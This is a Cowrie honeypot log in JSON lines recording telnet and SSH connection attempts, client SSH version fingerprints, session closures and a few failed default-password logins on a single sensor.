{"eventid":"cowrie.session.closed","duration":34.969043254852295,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:12.671811Z","src_ip":"64.227.101.30","session":"72a1e5365174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.09327483177185,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:15.752933Z","src_ip":"64.227.101.30","session":"43965679fb6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40606,"dst_ip":"10.17.0.5","dst_port":23,"session":"614fd48e250b","protocol":"telnet","message":"New connection: 64.227.101.30:40606 (10.17.0.5:23) [session: 614fd48e250b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:16.661918Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40886,"dst_ip":"10.17.0.5","dst_port":23,"session":"24744a5c73e1","protocol":"telnet","message":"New connection: 64.227.101.30:40886 (10.17.0.5:23) [session: 24744a5c73e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:18.857679Z"}
{"eventid":"cowrie.session.closed","duration":43.15747046470642,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:18.894604Z","src_ip":"68.183.198.12","session":"3272affed715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40266,"dst_ip":"10.17.0.5","dst_port":23,"session":"be3a257fd390","protocol":"telnet","message":"New connection: 64.227.101.30:40266 (10.17.0.5:23) [session: be3a257fd390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:18.990109Z"}
{"eventid":"cowrie.session.closed","duration":30.908231735229492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:19.047416Z","src_ip":"20.63.56.54","session":"7c7943a42586","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":44406,"dst_ip":"159.203.135.109","dst_port":23,"session":"f698a0a62b8a","protocol":"telnet","message":"New connection: 20.63.56.54:44406 (159.203.135.109:23) [session: f698a0a62b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:19.268357Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":44416,"dst_ip":"159.203.135.109","dst_port":23,"session":"30b05702d3e6","protocol":"telnet","message":"New connection: 20.63.56.54:44416 (159.203.135.109:23) [session: 30b05702d3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:22.686742Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":58985,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cce044f6429","protocol":"ssh","message":"New connection: 103.170.173.26:58985 (10.17.0.5:22) [session: 3cce044f6429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:24.112701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:24.117627Z","src_ip":"103.170.173.26","session":"3cce044f6429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0015983581543,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:24.132176Z","src_ip":"64.227.101.30","session":"9bdf8a8b4931","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:24.381595Z","src_ip":"103.170.173.26","session":"3cce044f6429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.474319219589233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:25.066178Z","src_ip":"20.63.56.54","session":"cb795f06224b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"root","message":"login attempt [mysql/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:25.465941Z","src_ip":"103.170.173.26","session":"3cce044f6429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42986,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae156845edb","protocol":"telnet","message":"New connection: 64.227.101.30:42986 (10.17.0.5:23) [session: 2ae156845edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:26.660695Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:26.732879Z","src_ip":"103.170.173.26","session":"3cce044f6429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.92510986328125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:28.039695Z","src_ip":"20.63.56.54","session":"43b7548cd5b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":34108,"dst_ip":"159.203.135.109","dst_port":23,"session":"8749207c792d","protocol":"telnet","message":"New connection: 20.63.56.54:34108 (159.203.135.109:23) [session: 8749207c792d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:30.349910Z"}
{"eventid":"cowrie.session.closed","duration":43.589717388153076,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:31.152635Z","src_ip":"64.227.101.30","session":"691368f3a0a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43948,"dst_ip":"10.17.0.5","dst_port":23,"session":"491df3da5764","protocol":"telnet","message":"New connection: 64.227.101.30:43948 (10.17.0.5:23) [session: 491df3da5764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:31.539191Z"}
{"eventid":"cowrie.session.closed","duration":35.49319076538086,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:36.457626Z","src_ip":"64.227.101.30","session":"b6cea3f3db93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00420880317688,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:39.367628Z","src_ip":"64.227.101.30","session":"23bfae1c171c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46340,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba3c076cc088","protocol":"telnet","message":"New connection: 64.227.101.30:46340 (10.17.0.5:23) [session: ba3c076cc088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:41.022378Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46798,"dst_ip":"10.17.0.5","dst_port":23,"session":"63c99f55a5d2","protocol":"telnet","message":"New connection: 64.227.101.30:46798 (10.17.0.5:23) [session: 63c99f55a5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:42.651119Z"}
{"eventid":"cowrie.session.closed","duration":46.052255630493164,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:43.267376Z","src_ip":"68.183.198.12","session":"5e28694889c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47640,"dst_ip":"10.17.0.5","dst_port":23,"session":"11a0a7f795ba","protocol":"telnet","message":"New connection: 64.227.101.30:47640 (10.17.0.5:23) [session: 11a0a7f795ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:44.734376Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47604,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7e66ed28906","protocol":"telnet","message":"New connection: 64.227.101.30:47604 (10.17.0.5:23) [session: e7e66ed28906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:45.555346Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":42680,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c419a66333d","protocol":"ssh","message":"New connection: 43.165.185.71:42680 (10.17.0.5:22) [session: 0c419a66333d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:45.681504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:45.687563Z","src_ip":"43.165.185.71","session":"0c419a66333d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:45.888619Z","src_ip":"43.165.185.71","session":"0c419a66333d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.55015230178833,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:46.540108Z","src_ip":"64.227.101.30","session":"be3a257fd390","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1","message":"login attempt [root/admin@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:46.684595Z","src_ip":"43.165.185.71","session":"0c419a66333d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:47.878448Z","src_ip":"43.165.185.71","session":"0c419a66333d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.8043429851532,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:49.217439Z","src_ip":"68.183.198.12","session":"8967c81a71e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47988,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e6be6ee9b6d","protocol":"telnet","message":"New connection: 64.227.101.30:47988 (10.17.0.5:23) [session: 9e6be6ee9b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:50.027292Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49170,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3045c9b961","protocol":"telnet","message":"New connection: 64.227.101.30:49170 (10.17.0.5:23) [session: 6b3045c9b961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:50.076264Z"}
{"eventid":"cowrie.session.closed","duration":31.05265760421753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:50.320889Z","src_ip":"20.63.56.54","session":"f698a0a62b8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.63.56.54","src_port":38558,"dst_ip":"159.203.135.109","dst_port":23,"session":"756b5405303e","protocol":"telnet","message":"New connection: 20.63.56.54:38558 (159.203.135.109:23) [session: 756b5405303e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:52.049012Z"}
{"eventid":"cowrie.session.closed","duration":30.327449798583984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:53.014067Z","src_ip":"20.63.56.54","session":"30b05702d3e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.59450912475586,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:55.256297Z","src_ip":"64.227.101.30","session":"614fd48e250b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50828,"dst_ip":"10.17.0.5","dst_port":23,"session":"02a2d8847291","protocol":"telnet","message":"New connection: 64.227.101.30:50828 (10.17.0.5:23) [session: 02a2d8847291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:56.064292Z"}
{"eventid":"cowrie.session.closed","duration":40.67901825904846,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:25:59.536538Z","src_ip":"64.227.101.30","session":"24744a5c73e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.712167024612427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:01.061940Z","src_ip":"20.63.56.54","session":"8749207c792d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53658,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cea90219859","protocol":"telnet","message":"New connection: 64.227.101.30:53658 (10.17.0.5:23) [session: 0cea90219859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:04.733717Z"}
{"eventid":"cowrie.session.closed","duration":35.402673959732056,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:06.941770Z","src_ip":"64.227.101.30","session":"491df3da5764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56122,"dst_ip":"10.17.0.5","dst_port":23,"session":"92e4256981a5","protocol":"telnet","message":"New connection: 64.227.101.30:56122 (10.17.0.5:23) [session: 92e4256981a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:09.461569Z"}
{"eventid":"cowrie.session.closed","duration":35.85883975028992,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:16.881148Z","src_ip":"64.227.101.30","session":"ba3c076cc088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59974,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad5c3d1238d3","protocol":"telnet","message":"New connection: 64.227.101.30:59974 (10.17.0.5:23) [session: ad5c3d1238d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:18.748480Z"}
{"eventid":"cowrie.session.closed","duration":37.47459578514099,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:22.208862Z","src_ip":"64.227.101.30","session":"11a0a7f795ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04578137397766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:23.094405Z","src_ip":"20.63.56.54","session":"756b5405303e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.722569942474365,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:23.277792Z","src_ip":"64.227.101.30","session":"e7e66ed28906","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.84092450141907,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:23.491914Z","src_ip":"64.227.101.30","session":"63c99f55a5d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.51197409629822,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:25.539137Z","src_ip":"64.227.101.30","session":"9e6be6ee9b6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34108,"dst_ip":"10.17.0.5","dst_port":23,"session":"18306871f4d1","protocol":"telnet","message":"New connection: 64.227.101.30:34108 (10.17.0.5:23) [session: 18306871f4d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:26.938627Z"}
{"eventid":"cowrie.session.closed","duration":64.45244646072388,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:31.113018Z","src_ip":"64.227.101.30","session":"2ae156845edb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":40206,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4242fea7543","protocol":"ssh","message":"New connection: 43.165.185.71:40206 (10.17.0.5:22) [session: b4242fea7543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:36.832011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:36.840392Z","src_ip":"43.165.185.71","session":"b4242fea7543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":37726,"dst_ip":"159.203.135.109","dst_port":23,"session":"b62ad4951da2","protocol":"telnet","message":"New connection: 68.183.198.12:37726 (159.203.135.109:23) [session: b62ad4951da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:36.900755Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:37.027945Z","src_ip":"43.165.185.71","session":"b4242fea7543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":37420,"dst_ip":"159.203.135.109","dst_port":23,"session":"b178a5ea1286","protocol":"telnet","message":"New connection: 68.183.198.12:37420 (159.203.135.109:23) [session: b178a5ea1286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:37.198972Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"1111","message":"login attempt [mysql/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:37.826349Z","src_ip":"43.165.185.71","session":"b4242fea7543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:39.019035Z","src_ip":"43.165.185.71","session":"b4242fea7543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.22045826911926,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:39.296565Z","src_ip":"64.227.101.30","session":"6b3045c9b961","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.737109422683716,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:40.935972Z","src_ip":"68.183.198.12","session":"b178a5ea1286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.74422597885132,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:41.808389Z","src_ip":"64.227.101.30","session":"02a2d8847291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44032,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3acb91c1915","protocol":"telnet","message":"New connection: 64.227.101.30:44032 (10.17.0.5:23) [session: c3acb91c1915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:43.271213Z"}
{"eventid":"cowrie.session.closed","duration":38.92179870605469,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:43.655382Z","src_ip":"64.227.101.30","session":"0cea90219859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44120,"dst_ip":"10.17.0.5","dst_port":23,"session":"22dbb2a15d18","protocol":"telnet","message":"New connection: 64.227.101.30:44120 (10.17.0.5:23) [session: 22dbb2a15d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:26:44.459022Z"}
